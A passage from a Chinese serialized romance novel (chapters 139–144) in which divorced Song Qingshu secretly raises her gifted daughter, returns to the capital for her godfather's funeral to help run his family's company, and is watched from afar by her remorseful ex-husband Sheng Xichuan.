“盛熙川,再见。”她说,往身后虚幻的光影中跑去。
醒来时,盛熙川湿了眼角。
宋清殊如她答应的那样,再也没在他面前出现过。
她去了花都。
第139章 转折性事件
苏白最终也没有把那几块带血的纱布拿去化验。
他心里有个疑惑,却从来没有跟人说过——
他跟楼珏在巴厘岛的那几天,虽然楼珏看上去玩得很开心,可时不时就会对着海面失神,晚上睡觉时偶尔露出有心事的模样。
楼珏心思深,嘴又严,问是问不出什么来的。
回来后,宋清殊又出了事。
苏白疑惑,总觉得事情没这么简单。
他一直是个大而化之的性子,按理说盛熙川比他心细,更能发现其中的不对劲。
苏白猜测,是当局者迷。
再加上盛熙川爷爷刚去世,他沉浸在巨大的悲痛中。
舒颜又不是个省心的,让他一脑门子官司,他才忽略了其中的不对。
可纱布刚送到化验科,苏白便接到了盛熙川的电话。
“她今天来找我签了离婚协议。”盛熙川在那边说。
他的声音没什么情绪,听上去行尸走肉一般。
没有情绪,比火冒三丈时更可怕。
苏白又火速冲去了化验科,把他提供的物料要了回来。
查出来有什么用呢?
他是选择帮盛熙川还是宋清殊?
这两个人的诉求和利益分明是相悖的。
介入谁的因果,就要背负谁的命运。
苏白最终选择了做一个不知情的人。
这半年他冷眼看着两人坠入爱河,又历经种种,最终分道扬镳,只觉得感慨。
他至今依然确定盛熙川深爱宋清殊,如果不爱,也做不出那么混蛋的事。
在宋清殊这里,盛熙川全无理智,只有情绪化。
宋清殊走得干脆利落,没有人知道她去了哪儿。
起初,上京还有些风言风语,说什么的都有。
有说宋清殊出轨莫北丞被盛熙川抓包,从婚姻里出局的。
有说最初她的合约就是如此:盛老爷子一死就离婚,她和盛熙川之所以看上去恩爱,也是做给老爷子看的,只有这样,才能继承巨额遗产。
舒颜和米热舒念安父子的事,倒是无人知情。这是盛家的耻辱,盛家上下必然铁桶一块。
宋家倒是去找盛熙川闹了两次,每次都被毫不留情地赶出去。
看到离婚协议后,又想到盛家是给了巨额彩礼的,这件事便又偃旗息鼓了。
满打满算,宋清殊夏天回国,春节都没过便离开了,她在上京也不过呆了8个月。
时间久了,人们慢慢也便少了谈论的兴致。
就像她15岁那年,被校园霸凌公开了那本日记。
原本是可以压下去的小事,宋夫人却去陆家大闹一场,把宋清殊的抚养权要回去了不说,还借此敲诈了陆夫人一笔。
然后,她被悄无声息地送出了国。
人们也是谈论了一阵子,慢慢的,就被淡忘了。
这世间总有不少八卦发生,新的将旧的覆盖掉,不留一点痕迹。
盛熙川当年打断沈济臣的腿,其实跟她有关。
沈济臣自己记忆混乱,甚至不记得年少时认识她,可盛熙川知道。
那是转学前的几天,宋清殊被一群高年级男孩子堵在角落里,沈济臣为首,扯坏了她的校服扣子。
那时,他们在同一所学校,宋清殊是初中部,盛熙川和沈济臣是高中部。
他们甚至没有见过几次面。
那天,盛熙川找人喝止了他们,没过几天便找了个由头打断了沈济臣的腿。
苏白也是很后来才知道的这件事,他甚至问过盛熙川为什么不告诉宋清殊。
“平白让她想起不愉快的经历,何苦呢?”
他对她,是真的喜欢,也是真的有保护欲。
他做对了一些事,但也的确因为吃醋,做过很多情绪化的错事。
他们都生长在缺爱的环境,盛熙川真的不知道如何爱人,而宋清殊又神经敏感。
他们连磨合期都没能平稳度过。
宋清殊的去向,估计只有楼珏和陆夫人知道。
苏白不敢和盛熙川聊宋清殊,盛熙川离婚后,整个人状态都不对。
宋清殊的离开,似乎是一个盛熙川人生的“转折性事件”,改变了他太多。
苏白觉得,他变得没有一点活人气息了。
第二年春天,舒颜去世,盛熙川面都没露,盛家也没有人愿意管,是霓娜姐妹替她治丧,草草火化了。
火化后,反而是盛熙川的人到了现场带走了骨灰。
舒颜留了遗言要想和舒家人葬在一起的,但盛熙川的人直接替她走了海葬程序,将她的骨灰撒入了千里之外的海里。
不让她和舒家人团聚,这是盛熙川对她母亲最后的报复,没有人敢插手。
他再也没有了母亲一定要爱他的执念,接受了这世上就是有一些母亲不爱孩子的事实。
在之后,他突然爱上了骑马。
一有空便去跑马场一圈又一圈的疯骑,看他在马上驰骋的模样,苏白脑子里闪过的全是宋清殊的身影。
宋清殊喜欢骑马。
他怕盛熙川出事,一有空就去陪他。
但一次没看住,盛熙川还是从马上摔了下来,他摔断了一条手臂和胯骨,在床上躺了半年。
他事业暴跌,又做了几个错误决策,几次险些被人钻了空子。
盛家家底厚,赔个20年也不至于垮,但外界对盛熙川的议论已经按不住了。
他个人风评差到了极点。
过去,他性子恶劣,但事业出众,别人不敢说什么。
如今,谁都觉得他不过如此,想踩上两脚。
有人说:“盛熙川这下坡路走的,盛司令不生个小号出来重练,盛家也就败光了。”
而苏白也真的亲眼目睹了一次盛司令跟一个女人共同出入酒店。
苏白忍无可忍,跑去医院的病床上把盛熙川打了一顿——也只能在病床上打,平时一定打不过。
挨了打的盛熙川好像清醒了几分,竟然又开始重振旗鼓好好工作。
可还是不对!
他决定好好工作,就开始一心只工作, 除了工作,什么都不管。
远房亲戚攀附,介绍了一位家境不错的小姐给他,那位小姐对他一见钟情,便时常来打扰,竟然直接被他让人丢去了深山老林里, 险些闹出人命来。
后来这件事便传了出去,都觉得盛熙川走火入魔了。
原本因为宋清殊的到来,他的口碑好了很多,如今竟然急转直下,比之前还不如。
宋清殊在花都却过得不错。
她没有力气爱,也没有力气恨,只想把自己走偏锋的人生一点点拽回正途。
她也的确做到了。
第140章 陆先生去世
钱是不缺的,金杉一直在盈利,宋清殊拿的分红不少。
再加上之前也有积蓄,用宋清殊的话说,只要不去吸白粉,她能衣食无忧几辈子。
她人在花都,虽然还是他乡,但跟国外比起来要好上很多。
楼珏和陆夫人每个月都来看她。
她们两个是她最信赖的人。
虽然知道盛熙川不会找过来,但为了以防麻烦,陆夫人还是换了一张卡给她用,找了一套安全的假证件来办理住院生子的手续。
九个月后,孩子平安出生。
跟胎梦里一样,是个肉嘟嘟的小丫头,八斤。
个头太大,以至于她实在生不出来,到最后关头选择了剖腹产。
孩子生出来哭声嘹亮,小腿乱蹬,很健康。
生孩子的时候,陆夫人和楼珏都等在产房外面,眼泪汪汪。
宋清殊给孩子取名宋璨,取“往事暗沉不可追,来日之路光明灿烂”之意,小名叫珍珠。
她吃了很多苦,可她的女儿,必然是掌上明珠,是她的宝贝。
小珍珠没受她孕期情绪起伏的影响,耳聪目明,各项指标合格,一逗就笑,很好带。
宋清殊真正发现她跟别的孩子不一样,是在半岁左右。
珍珠说话,没有牙牙学语的阶段,之前完全不说,半岁的时候突然开口,一张嘴就是“妈妈”,“外婆”,“干妈”。
会的词汇不多,但发音干脆清晰,毫不含糊。
把众人都吓了一跳。
两岁左右的时候,她拿着笔在客厅壁纸上乱画,不画火柴人,画蓝色的血管和人的内脏。
宋清殊看一眼响着的电视,儿童频道不知道什么时候被她调走,她刚看完法医解剖。
还有一次,母女两人一起看电影,悬疑剧情。
电影进行到三分之一,珍珠面无表情地指了指荧幕上的一个人:“妈妈,他是凶手。”
宋清殊没说话,直到用两个半小时把电影看完,才发现珍珠的判断是对的。
但宋清殊吓出一身冷汗。
她带珍珠辗转了好几处去看各种医生。
最后得出的结论是:“没什么问题,她只是太聪明了,她的智力水平,接近一个成年的大学生。”
多可怕,她一个普通智力的普通人,生了个天才儿童出来,也就是说,她很难享受到珍珠天真烂漫的阶段了。
但珍珠长了一张极其天真烂漫的脸,像奶粉广告里的小孩,又白又甜,很有迷惑性。
女儿随爸爸,她还有婴儿肥下包裹着好骨相,还有一双和盛熙川一样的眼睛,双眼皮的褶皱一路延申到鬓角去。
发呆时的神情也像,清清冷冷,生人勿进。
宋清殊有时候会看着她出神。
起初,她想起盛熙川还有诸多埋怨。
如今随着时间的推移,时过境迁,回忆里竟然只留了些美好的部分。
还图什么呢,毕竟他给自己提供了这样好的基因,生了个这样好的女儿出来。
日子稳步向前,珍珠一点点长大。
珍珠三岁生日过完后,宋清殊开始在花都研究商机,她虽然是小富即安的性子,可总要留点家业给女儿。
谁知,她这边还没想好做什么,陆家突然出了事。
陆夫人的电话打来,在那边哭得上气不接下气。
“小宝……你干爸出了车祸。”
宋清殊在上京长到15岁,成年后又生活过半年,本以为她和上京的缘分也就到此为止了。
在花都的这将近4年里,她的心彻底的静了下来,归属感也很强,再没有回京都生活的念头。
这期间,楼珏和苏白结婚,莫北丞的母亲去世,她都没有回去过。
谁知,再回去,是陆先生的葬礼。
陆展只有14岁,自己守不来孝。
宋清殊跟珍珠说明了情况,把她托付给保姆照顾,火速买了去上京的机票。
三岁的珍珠,什么都能听懂。
她伸手抱宋清殊:“妈妈不急,阿姨能照顾好我。”
宋清殊是哭着回上京的,落地时,天阴得厉害。
还是楼珏接她,将她送到陆家去。
陆家已经是一片黑白色调,主厅内摆满了各式各样的菊花,陆先生的冰棺摆在中央,桌上供奉着遗像。
陆夫人几度哭得昏死过去。
葬礼办了三天,按照远近亲疏依次过来吊唁。
宋清殊穿一身黑色西装,陪着陆夫人和陆展,不知道鞠了多少躬,到后来,母子三人谁也哭不出眼泪来。
第三天,宋清殊看见了宋家人。
宋夫人带着宋妍妍过来,给陆先生鞠躬送了白花,路过宋清殊时,低声道:“宋清殊,出来一下。”
宋清殊跟陆夫人交代一声,便跟宋夫人走到了室外。
宋夫人突然发了疯,抬手给了宋清殊两个耳光。
“四年了,不跟家里联系,你爷爷中风瘫痪了你都不回来,你来给陆长林守孝?我倒是要问问,等我和你爸死了你能不能守?”
宋清殊脸上浮起鲜红的两个掌印,她抬头,冷冷地看着宋夫人的眼睛,一字一顿:“现在想这些没用,真死了就知道了。”
“你!”宋夫人又要扬手,她的手臂突然被人抓住。
是苏白挡在了宋清殊身前。
“哟,干什么呢宋夫人。”苏白嬉皮笑脸,眼神却很冷,他抓着宋夫人的那只手很用力。
看得出来,宋夫人很疼。
“我教训自己女儿,用不着苏少一个外人管!”
几年不见,她脾气倒是大了不少,宋清殊想。
苏白:“话不能这么说,清净之地,陆先生的亡魂还看着,陆先生和陆夫人对清殊一向宝贝,你就这样不管不顾动手,不怕陆先生在天之灵找你麻烦?”
又环顾四周,抬高了声音,“你这样做,跟大闹陆先生葬礼有什么区别?”
一顶大帽子扣下来,宋夫人马上矮了三分。
“回头我再跟你算账。”她低啐了宋清殊一声道。
宋夫人和宋妍妍就这么走了,临走前,宋妍妍还回头得意地看了宋清殊一眼。
如今,宋清殊已经不是盛家的少夫人,她们已经毫不忌惮了。
“你没事吧?”两人走了,苏白才问。
宋清殊摇摇头,对苏白笑了一下:“多谢。”
苏白不好意思地笑了一下。
这种场合,也不好多聊。
“回头去家里吃饭吧,慢慢聊。”他说,之后便进去给陆先生献花了。
宋清殊回了声好。
她站在原地出了会儿神,不知是不是错觉,总觉得不远处有一双眼睛,在牢牢地看着她。
第141章 重逢
如今已是深秋,外面的空气带了凉意。
宋清殊在外面站了一会儿,等脸上的热辣感缓和下来了一些,才往室内走。
顾不上冰敷了,陆夫人需要她。
路过陆家的管家,她低声让他替自己拿一只黑色口罩过来,管家应声去了。
再一抬眼,宋清殊和出来的盛熙川走了个面对面。
盛熙川也穿了一身黑色西装,神色阴郁,身上的气息又沉又冷。
他身后的杨端替他撑了把黑伞,愈发加剧了这种沉冷的氛围。
四年了,没想到重逢是在这样的场合。
两人目光短暂交汇了一瞬,宋清殊的心猛地往上提了提。
她藏了太多秘密,生怕自己的眼神泄露分毫。
相比之下,反而是盛熙川坦然太多。
宋清殊张了张嘴,想感谢他来参加陆先生的葬礼,还未开口,盛熙川已经掠过她,径直走了过去。
他一句话都不想同她说。
倒是杨端客气地对她点了点头。
宋清殊抿唇,提着的一颗心又缓缓沉下去。
这四年里,她预演过无数次再遇到盛熙川该如何反应,此时却完全没有派上用场。
他根本不屑于看她如何反应,也没有再跟她有任何交集的意思。
也是,当时婚离得那样不体面,盛熙川被她逼到了死胡同里,不得不签字。
没有人敢那样逼迫她,这样看,他对她还算宽容客气。
到了傍晚时分,三天的吊唁宣告结束。
一个穿黑色西装套裙戴口罩的女人,带着一个看上去跟陆展差不多大的小男孩到访。
“对不起夫人,现在已经过了待客时间。”管家出门拦她。
女人摘了口罩,露出一张温婉美丽的脸,带了几分哀伤。
她和陆夫人大胆对视,根本不顾管家说了什么。
之后,把身边的男孩拉过来,往灵堂推了一把:“陆枭,去给你父亲磕头。”
此时,灵堂里没有外人,只有陆夫人,宋清殊和陆展,还有陆家的管家和几个佣人。
陆夫人眼睛干涩,缓缓眨了一下,之后迅速摸清了眼前的状况。
她神情疲惫,却不得不强打精神来应对这两个不速之客。
“小宝,带弟弟去后院吃点东西。”陆夫人对宋清殊说。
陆先生为人正直,起码在宋清殊心里他绝对不是个乱来的人。
她握住陆夫人冰凉的手:“干妈。”
陆夫人此时已经拿出了她平日里的气势来,优雅又镇定,用另一只手安抚地拍了拍宋清殊的手背:“去吧。”
14岁的陆展已经比宋清殊还要高,他挡在陆夫人身前:“妈,让她有事跟我说。”
现在的孩子早熟,世家子弟尤甚,他已经到了能听懂这种事的年纪。
陆夫人看了看陆展,声音微微抬高:“听话,跟姐姐去吃晚饭。”
“展展,走。”宋清殊忙伸手拉了陆展,去后院了。
宋清殊在陆家住,晚上,陆夫人来她房里。
“她说,那个孩子是她和陆长林的。”陆夫人坐在床边说。
不用问,“她”就是那个不速之客。
倒是没想着撕破脸,在人散了之后才过来。
宋清殊沉默片刻,抬起头来:“干爸做不出这种事,我愿意相信干爸。”
宋清殊的童年是在陆夫人的陪伴下长大的,这其中陆先生和全天下多数父亲一样,是一个相对沉默的角色。
宋清殊得到的父爱来源于莫北丞最多,陆先生次之,而宋先生几乎没有。
当然,这都不是重点。
重点是,陆先生已经去世,但陆夫人和陆展的人生还长,她总不能看着一个陌生女人带着孩子入侵他们的人生。
如果这孩子真的是陆先生的血脉,以陆先生谨慎的性子,应该也早已替他想好了后路,用不着她圣母心。
陆夫人显然自己已经消化了不少情绪,看上去很平静:“我也跟她这么说的,但她要那个孩子跟展展做亲子鉴定。”
宋清殊:“她没有权力这么做,如果她敢私下里找展展,陆家和莫家都不会放过她。”
陆夫人愣了一下,显然,宋清殊的态度给了她一针强心剂。
她这个女儿不和稀泥,没白疼。
陆夫人说:“其实她这个时候过来未必是坏事,你干爸出事的这几天,我沉浸在悲伤里,完全失去了对现实的把控能力。
但她一来,让我对你干爸心生疑窦,反而没有那么伤心了。”
宋清殊点头,她不好过多对陆先生和陆夫人的感情置喙,只得宽慰她:“干妈,人死如灯灭,但活着的人还要活得更好。”
此时,陆夫人竟然突然握了她的手,神色郑重:“小宝,干妈求你一件事,可以吗?”
她太郑重了,以至于宋清殊大概猜到了陆夫人要说什么,放松的脊背也一瞬间绷直。
陆夫人:“回上京来,陆家的家业需要你。”
过去陆家的家业由陆先生夫妇共同打理,陆先生是主力,如今撒手去了,陆展还小,家业不想旁落的话,的确需要一个自己人。
“今天发生的事,只是个开始,觊觎陆家家业的人,可不只是这一对母子这么简单。怕的是,她们背后还有人。”
陆夫人脑子好用,想得也深。
她不信任别人,却信任宋清殊。再说,陆家的家业里,原本就给宋清殊预留了一份。
她从来不怕这个干女儿惦记。
宋清殊如何不知道这份信任有多么沉重,她在床上,抱着膝发了会儿呆。
“干妈,我明天再给您答复,好不好?”
陆夫人走了,宋清殊一晚上没怎么睡着。
她脑子里天人交战,一方面是不能弃陆夫人和陆展于不顾,另一方面是珍珠的问题。
陆夫人养了她15年,如今需要她,她得回来。
但回来,珍珠就有暴露的风险。
如果盛熙川知道了当年流产事件是她的将计就计,必然不会轻易放过她。
最重要的是,如果盛熙川来抢孩子,怎么办?
当务之急,是给珍珠一个妥善的安置方案。
陆夫人也知道她的担忧,行动迅速,第二天一早带了个人来给她看。
“这是我的堂侄女莫蓝溪。”陆夫人说。
第142章 她不想见我
陆夫人要宋清殊留下的态度很坚决,她倒也不是没有考虑宋清殊的难处。
只是,守住家业的心太强烈,再加上让宋清殊触碰陆家核心业务,拿实权,对陆夫人来说是给她巨大的好处,而非亏待,她有这个底气。
“干妈知道,你怕珍珠暴露,兰溪说我的堂侄女,也是你的表妹,可以让蓝溪给你做助理,对外就说珍珠是蓝溪的孩子。”
说话间,莫兰溪看向宋清殊,神情郑重:“清殊姐,表姑对我有恩,你放心,只要你不想让人知道珍珠的秘密,我一定能守住。”
宋清殊打量眼前的女孩,莫兰溪长了一张很可靠的脸,虽然不是很惊艳,但看上去很耐看,智力感很足,有种聪明利落的感觉。
说珍珠是她女儿,倒是不违和。
陆夫人私下跟宋清殊说,她堂哥也就是莫兰溪的父亲也是做生意的,但很多年前家里出了点事,险些害了莫兰溪,是她将莫兰溪救出来,一路读小学,后来又出国读书,工作。
这次莫兰溪能回来,也是因为陆家出了事,想为她效力。
宋清殊又跟陆夫人长谈了一次,慢慢摸清了眼前的状况。
陆先生有两个弟弟,也就是陆展的二叔和三叔,陆先生的父亲去世的早,当时二叔和三叔没有成年,自然而然地将家业给了陆先生来掌舵。
后来,随着二叔三叔成家立业,陆先生便给了他们分了家。
给的不少,不仅祖产平分,连陆先生接手后的营收,也分了许多给两房。
陆展的两个叔叔不是经商的材料,这几年做生意也亏了不少,都是陆先生在明里暗里补贴。
后来,便又都放弃了自己的生意,投靠陆氏,在陆氏身居要职。
眼下,陆先生一撒手去了,两人难免惦记他们的家业。
“人心不足,给他们多少,他们都觉得是应该的。一说起来,就是恨老爷子走的早,把家业都给了你干爸。你干爸分得再公平,他们也觉得藏私。
眼下,展展也未成年,难免被拿出来跟当年比较。”陆夫人说。
丈夫去世,她只伤心了三天,便迅速冷静下来,为儿子谋划了。
“我必须有自己人在陆氏,才能保证在展展成年后不会出局。不管说你还是兰溪,以后,都会得到一份丰厚的家业。”
陆夫人不是画饼,这些年她就是这么做的。
她当年生不出孩子,都没想抱养一个儿子,而是选择了宋家不想要的女儿,在她身上真金白银的花。
包括她对莫兰溪的好,也非常真心实意。
她不重男轻女,相反,在心里非常瞧得上女人。
她觉得宋清殊和莫兰溪足以做她的左膀右臂。
宋清殊留下的心越发坚决了。
如果说陆夫人对莫兰溪有恩,那对她更是恩重如山,莫兰溪都能放弃国外的工作和生活,毅然决然回来,她为什么不能呢。
何况,她还给出了解决方案。
珍珠能听懂她说话,很好沟通,只要说清楚就好。
在外她就叫珍珠,谁会知道她的大名呢?再说,知道又如何,莫兰溪完全可以说自己的丈夫姓宋。
宋清殊考虑了一晚上加半天,便答应了陆夫人回上京。
接着,她问莫兰溪能不能周末和她一同飞去花都接珍珠。
“宋总,我是您助理,当然没问题。”莫兰溪说。
她是个分寸感很强的女孩,话很少,宋清殊很喜欢她。
宋清殊在做人生重大决策的晚上,盛熙川在拉着苏白彻夜喝酒。
两人离婚后,他过了好一阵每天买醉的日子,从马上跌落那次,也是因为喝得太多。
他那次伤筋动骨,身体里的钢板到现在还没有取出来。
之后,被苏白在病床上揍了,就开始滴酒不沾。
这是几年来的第一次破戒。
楼珏事业心很强,这几年事业版图扩大了,最近一直全国飞,好容易因为宋清殊回来回了上京,能在家里呆几天,苏白实在想回家陪老婆,又不能弃盛熙川于不顾。
真是的,见了人家连句话都不说,现在喝闷酒有什么用?
这话,他只敢在心里吐槽,倒是没有说出来。
他们一进门,便看到了宋清殊跟宋夫人和宋妍妍三人走出来。
盛熙川的身形肉眼可见剧烈晃动了一下。
他立在那里,一脸的惊慌失措,有足足几分钟里神情和身形都是僵硬的。
苏白看的心疼。
后来,宋夫人打宋清殊。
“去帮她。”盛熙川说。
见苏白不动,他急得一脚将他踢了出去。
盛熙川喝了两瓶威士忌,脸上依然是那副半死不活的表情。
苏白不得不开口:“宋清殊这几天会来我家吃饭,要不你也过来吧。离婚了也能做朋友,不至于老死不相往来。”
会所里,盛熙川看苏白的眼神是他看不懂的悲伤。
“宋清殊不会想见我的。”
如果想,她就不会一走就是四年,音讯全无。
刚离婚的第一年,他为了探听她的下落,还给过宋家好处,后来发现几年里,宋清殊根本没有跟他们联系过。
苏白和楼珏结婚的时候,是他心情最激动的几天,宋清殊和楼珏关系那样好,一定会回上京参加婚礼的。
所以那天他起了大早,穿了最隆重的西装,险些连苏白新郎官的风头都抢了,可她还是没有来。
她像一阵季风,季节过了,就走了,什么都没留下。
若不是陆先生出事,怕是她一辈子都不会回来了。
苏白说不出辩驳的话,却也不知如何开解盛熙川。
他的眼神太悲伤了,时间是良药这句话,在他这里似乎没起任何作用。
苏白看着盛熙川,心中恻然,把自己的酒杯倒满:“来,我陪你。”
是夜,两人都喝了不少。
盛熙川酩酊大醉,在断片前,嘴唇翕动。
苏白凑过去,也只听到了“宋清殊”三个字。
他反反复复地叫她名字,除此之外,一个多余的字都没有。
苏白无奈,千辛万苦把人送回去。
等他再回自己家,天都快亮了。
见到楼珏,他一颗紧绷的心才松懈下来。
“熙川实在可怜,我们给他创造一点见面的机会好不好?”他第一次为盛熙川求情。
第143章 近情情怯
在盛熙川和宋清殊的事情上,苏白算有分寸。
当初两人确定关系后约法三章,有一个共识就是:不许在对方面前提这一对怨侣。
苏白是因为他和盛熙川穿一条裤子长大很难客观,而楼珏,除了和宋清殊这一层关系外,最重要的是,她要替宋清殊保守秘密。
不谈论,就减少泄密的机会。
这个机会楼珏给不了。
没男人却有娃的宋清殊过得实在是太好,楼珏想不出有什么理由要去破坏她的现状。
再说,盛熙川这几年都在上京,他的状态时不时就出现在新闻里,如果宋清殊想要关注有的是途径,显然,她并不想再跟盛熙川有任何交集。
但苏白喝多了,抱着她说个不停。
到后来,楼珏不胜其扰,只得把他赶去了客房睡。
这件事,到底是被楼珏否了。
为了以防万一,原本想的约宋清殊去他们的小家吃饭,直接由楼珏做主,约在了楼家老宅。
楼珏的父母为了以示重视,特地请了个曲艺班子过来演堂会。
用楼珏母亲的话说:“清殊干爸刚去世,心情肯定不好,来听听曲儿,听听相声,笑一笑,也算是去去晦气。”
楼珏很满意父母的决定,说给宋清殊听,她也感动得不行。
如今,再回上京,她已经不是高高在上的盛家少夫人,第一个踩她的,是她的亲妈亲姐姐。
换了几年前,宋夫人巴结她都来不及,哪里敢打她?
接下来,这样的嘴脸她还会看到不少。
但楼家二老,却并没有这样。
在宋清殊得势的时候他们不攀附,失势的时候也不贬踩。
当年楼珏为了她得罪盛熙川,险些害得楼家生意跌入谷底,楼家父母也没有把这笔账算在宋清殊头上。
宋清殊在心里承他们的情。
她为楼家父母准备了很多礼物,也得到了很热情的招待。
楼家父母说了些宽慰的话,聊着聊着,宋清殊便把话题引到了自己要留在上京,在陆氏做事的事上。
楼先生道:“需要帮忙你就说话,叔叔不遗余力。”
吃完饭,便由楼珏陪着看堂会。
上京老一辈很多都爱好曲艺,家里有喜事大事请曲艺社演堂会是老传统。
宋清殊看戏折子,一共十个节目。
快板,大鼓,评剧,相声,多种节目穿插,请的是上京的名角儿。
她在国外生活了多年,看传统文化只觉得新鲜,倒暂时忘了陆家的糟心事,紧绷的心稍稍得到休息。
倒没什么特别的事发生,只一件。
那出评剧唱了一个多小时,期间,有工作人员拿了个水杯上来给主角饮场。
饮场的人应该是曲艺社的工作人员,穿了件黑色马褂,戴口罩和鸭舌帽。
他的气质太出尘了一些,把杯子递给角儿时,往台下望了一眼。
眼神和宋清殊短暂交汇,又迅速移开。
将近190cm的身高,挺拔的身段,深邃的眸。
有那么一瞬间,宋清殊觉得她看到了盛熙川。
一旁的楼珏显然也有点坐不住了。
“来尝尝我们厨房自己做的茶点。”她喂了一口梅脯到宋清殊嘴里,打断了她的注意力。
待宋清殊回神看台上时,那人已经下去了。
只剩角儿在台上咿咿呀呀。
唱的《花为媒》,宋清殊不懂,却也听了几句到耳朵里。
是两对苦命鸳鸯终成眷属的故事。
国人是这样,不管中途经历了什么,只要结局是男婚女嫁,就是欢喜。
只要结局是劳燕分飞,便是悲剧。
她和盛熙川,就是两个悲剧的主体。
也许是因为回到了上京这个地方,也许是因为在葬礼上那匆匆一面,宋清殊觉得,她最近几天想起盛熙川的时刻尤其多。
后台,盛熙川把那件马褂脱下来还给了曲艺班主。
“多谢。”
他神色恹恹的,在换衣间的沙发上坐下来。
“您客气了盛总,您能给婷婷饮场,是她的荣幸。”
这位评剧演员是圈子内的名角儿,长得又好,不少富二代追捧她。
曲艺班主想破脑袋也只想到了盛熙川在捧她这一层,根本没往更深了发散。
盛熙川和宋清殊的事过了太久,被太多新的八卦覆盖,除了当事人,已经没有多少人记得了。
不一会儿,苏白钻进了后台。
他坐在盛熙川身边,吸他的二手烟。
“怎么样?看清楚人了吗?”
盛熙川“嗯”了一声。
“原本想让你吃饭的中途突然过来的,但是太刻意了。我要是敢,阿珏非跟我离婚不成。”苏白有点不好意思。
盛熙川的烟已经燃尽,根部烧到了手指,他浑然不觉。
还是苏白大叫一声,将烟蒂从他手里抽走。
“她把自己养的很好。”盛熙川说。
“比跟我在一起时胖了一点,气色好了更多,离婚对她来说是个正确的选择。”
“我当年做错了很多事,也真的伤到了她。”
苏白:“……”
他不好评价。
作为一个局外人看,盛熙川倒也没有罪大恶极的程度,他只是太爱吃醋了。
有些东西,命运的驱使多过个人选择,比如,他对母爱的执念延伸到成年,便有对夫妻之爱的执念。
他要宋清殊毫无保留的爱他,只爱他,不许爱任何人。
但他却不知道如何熨帖的付出爱,钱也给了,事也做了,却也真的伤了她的心。
他和宋清殊,实在是差一点缘分。
彼此当时都不是最好的状态,他不会爱人,她又敏感缺爱。
两人从后台离开时,盛熙川又去宴会厅门口看了宋清殊一眼。
她原本就温婉沉静,如今几年过去,更加剧了这种魅力。
思念了一千多个日夜,如今再见到,近情情怯,盛熙川根本没有上前的勇气。
他在侧面看她利落的下颌线,剪水一样的眸子,小而翘的鼻梁,和微微上扬的唇角。
宋清殊不是时下流行的嘟嘟唇,她唇型偏薄,线条明显,走势克制。
这种唇形的人理性且清醒。
之前盛熙川不觉得,如今,已经能切实体会。
他记得两人的“初吻”,心鹿乱撞。
此时,演出结束。
楼夫人叫了声“清殊”。
第144章 诱惑
盛熙川一个晃神间,被苏白猛拉了一把,往门后站了站。
之后他便看到楼夫人和宋清殊聊了起来。
楼夫人不知在说什么,宋清殊频频点头微笑,看上去两人很投契。
“走了,你不要害我。”苏白拉着盛熙川,从宴会厅一路走楼家角门出去。
出了门,盛熙川已经收起了失魂落魄的神色,恢复了一贯的平静。
他的车停在角门外,盛熙川靠着车门点了根烟:“她接下来什么打算?”
“应该会留下来,毕竟现在陆氏乱成一锅粥,陆夫人需要自己人。”苏白说。
盛熙川点点头,心里竟然又燃起一丝不该有的期待来。
他递烟给苏白,苏白摆手:“我在备孕,那天喝酒已经是破戒了。”
备孕……他和宋清殊本来也该有个孩子的。
心痛来得猝不及防,盛熙川吸了口气。
苏白没看出他的不对劲,因为他这几年一直不对劲,还是如常道:“我也只能帮你到这儿了。”
“不。”盛熙川猛地扯他的衣袖,“苏白,你要帮我。你自己的恋爱就很平顺,你比我会爱人。”
苏白因盛熙川突如其来的举动倒退半步,他心中警铃大作。
“你准备怎么办,把宋清殊追回来吗?”
这个忙他要是敢帮,下一步就得求盛熙川帮他追回楼珏。
盛熙川猛吸了一口手里的烟,沉默了好一会儿。
“不,我要守护好她。她想要做什么,都让她去做。替她铲除一切障碍,直到,她强大到不需要我的时候。”
……非常中二的发言,苏白想笑他,又不敢,竟然表情僵硬了好一会儿。
盛熙川这边心思百转,宋清殊那边却已经开始为未来的路做谋划。
她很快被陆夫人安排进了陆氏。
原本陆氏的董事长由陆先生担任,此时,这个位置空出来,由陆夫人暂理。
陆氏的“总”目前还有三位:二叔陆长鸣担任监事,三叔陆长瑜担任财务总监,和陆先生的干弟弟霍宗辞担任首席CEO。
去之前,陆夫人特地跟宋清殊说起霍宗辞这个人。
他的身份还是挺特殊的。
陆夫人说,他父亲是位高官,在他十几岁的时候落马被枪毙,便把他托付给了陆先生照顾。
陆先生那时候也就三十出头,便认了他做义弟,如今也十几年过去了。
霍宗辞亦正亦邪,黑白两道通吃,是个人物。
“你干爸在的时候无条件信任他,但我跟他不熟,也不知道他会不会反水,你去了先探探这个人的底细。”陆夫人说。
宋清殊自然没有二话。
陆家二叔三叔她是见过的,到了陆氏,陆夫人又带她去打了个招呼。
“放心吧,大嫂,既然侄女想学,我一定好好带。”二叔说。
他是个笑面虎,宋清殊看不出什么。
三叔更有个性一点,听陆夫人说让他多多照顾,不由干笑了一声:“陆氏都是大嫂您的,您就是直接过户给您干女儿,我们也没有二话,过场就不必走了吧?”
陆夫人被三叔的话一噎。
宋清殊先冷冷淡淡开口:“三叔说笑了,我干爸打下的家业自然是展展的,你我都是一样的人,受过我干爸的恩惠,为展展效力,如果贪图家业,想据为己有,只会被人戳脊梁骨。”
三叔对宋清殊不了解,看她长得又过分柔弱,以为她是个擅长做小伏低的,没想到一张嘴这么强势,竟然被宋清殊一番话怼得愣了一愣。
“侄女好厉害的嘴。”三叔讪讪地说。
三叔的办公室门敞着,两人的话恰好落入路过的霍宗辞耳中。
霍宗辞顿了顿脚步,问他的助理:“那是谁?”
“陆先生和陆夫人的干女儿,说是以后跟您做执行副总。”
霍宗辞推了推金丝眼镜,一双眼睛深不见底:“那个宋清殊?”
“是。”
“有点意思。”
霍宗辞回到自己办公室,用手机前置摄像头检查了一下仪容。
不多时,宋清殊就跟着陆夫人来敲门了。
“宗辞总,这是我干女儿宋清殊,以后跟着你做事。”陆夫人说,又对宋清殊说,“见过你小叔。”
宋清殊这才近距离看到霍宗辞其人。
33岁的霍宗辞大概180CM左右,很清瘦,中长发,长了一双又湿又魅的桃花眼,左耳戴耳钉,因为气质阴冷,倒是不显得女气。
让人意外的长相,原本陆家二叔三叔也算是一表人才,跟霍宗辞比起来,倒是有些油腻了。
宋清殊想起陆夫人对他的评价“亦正亦邪”,觉得无比精准。
“小叔。”她垂眼打招呼。
霍宗辞打量她一眼:“今天能正式开工吗,还是要等等?”
宋清殊:“今天可以。”
霍宗辞起身:“那就跟我去见个客户吧。”
